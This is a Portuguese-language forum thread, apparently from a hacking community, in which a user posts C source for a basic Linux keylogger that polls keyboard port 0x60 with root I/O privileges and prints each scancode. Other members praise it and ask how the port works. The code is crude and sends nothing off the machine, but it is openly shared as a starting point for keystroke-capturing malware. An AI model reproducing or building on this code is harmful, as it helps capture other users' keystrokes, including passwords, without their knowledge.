FORUM DARKERS

Tecnologia & Informática => Programação => C/C#/C++ => Topic started by: Alucard on 02 de December , 2007, 03:21:19 PM

Title: [Source] Inicio keylogger Linux
Post by: Alucard on 02 de December , 2007, 03:21:19 PM
Um keylogger bem mas muito simples, apenas pega o numeros das teclas e imprime no shell.

//Teste keyloger
#include <stdio.h>
#include <sys/io.h>

int main() {
unsigned char c;
int porta = 0x60;

while(1) {
//Nivel de liberdade na memória
iopl(3);

//Pega um valor que passa em uma determinada porta
c = inb(porta);

//Exibe o numero da tecla precionada
printf("key=%d \n", c);

//Suspende a execução do processador por
//por um determinado tempo
usleep(1000);
}

return(0);
}

(//http://geocities.yahoo.com.br/alucard_dxs/KeyloggerLinux/foto.jpg)
Title: Re: [Source] Inicio keylogger Linux
Post by: Be.Cool on 02 de December , 2007, 03:25:48 PM
que r0x mano!!!
eu estava lendo algo sobre o assunto, mais nem me aprofundei!
otimo trabalho, depois eu vou testar  ;)
vlw!
Title: Re: [Source] Inicio keylogger Linux
Post by: Binevatum on 14 de September , 2008, 05:13:22 PM
Bem interessante isso.
Porque a porta tem que ser 0x60?
Title: Re: [Source] Inicio keylogger Linux
Post by: Alucard on 14 de September , 2008, 05:33:46 PM
Quote from: "Binevatum"Bem interessante isso.
Porque a porta tem que ser 0x60?


Cara é na porta 0x60 é que onde o linux faz a comunicação com o teclado.
Da uma olhada... ai.
http://daniloxavier.blogspot.com/2008_0 ... chive.html (http://daniloxavier.blogspot.com/2008_07_01_archive.html)
Title: Re: [Source] Inicio keylogger Linux
Post by: blackwinner on 15 de September , 2008, 05:21:32 AM
que bom cara, esse forum estava mesmo precisando de alguns exemplos de programas para nix like. =]
Title: Re: [Source] Inicio keylogger Linux
Post by: Binevatum on 15 de September , 2008, 12:48:04 PM
E se for usada uma porta diferente da 0x60 o que vai aparecer?
Existe alguma lista do que cada uma delas pode fazer?
Title: Re: [Source] Inicio keylogger Linux
Post by: Reeves on 15 de September , 2008, 07:25:38 PM
Mui bom Alucard!
to de olho ae
vamos ver como vai ficar seu projeto final
:D
Title: Re: [Source] Inicio keylogger Linux
Post by: Alucard on 16 de September , 2008, 09:14:28 AM
Quote from: "Binevatum"E se for usada uma porta diferente da 0x60 o que vai aparecer?
Existe alguma lista do que cada uma delas pode fazer?

Olha ia pegar os valores que ia passar pela porta.

QuoteMui bom Alucard!
to de olho ae
vamos ver como vai ficar seu projeto final
Olha eu apenas fiz um exemplo, mas posteriormente vou ver se faço um exemplo bem interessante obrigado/!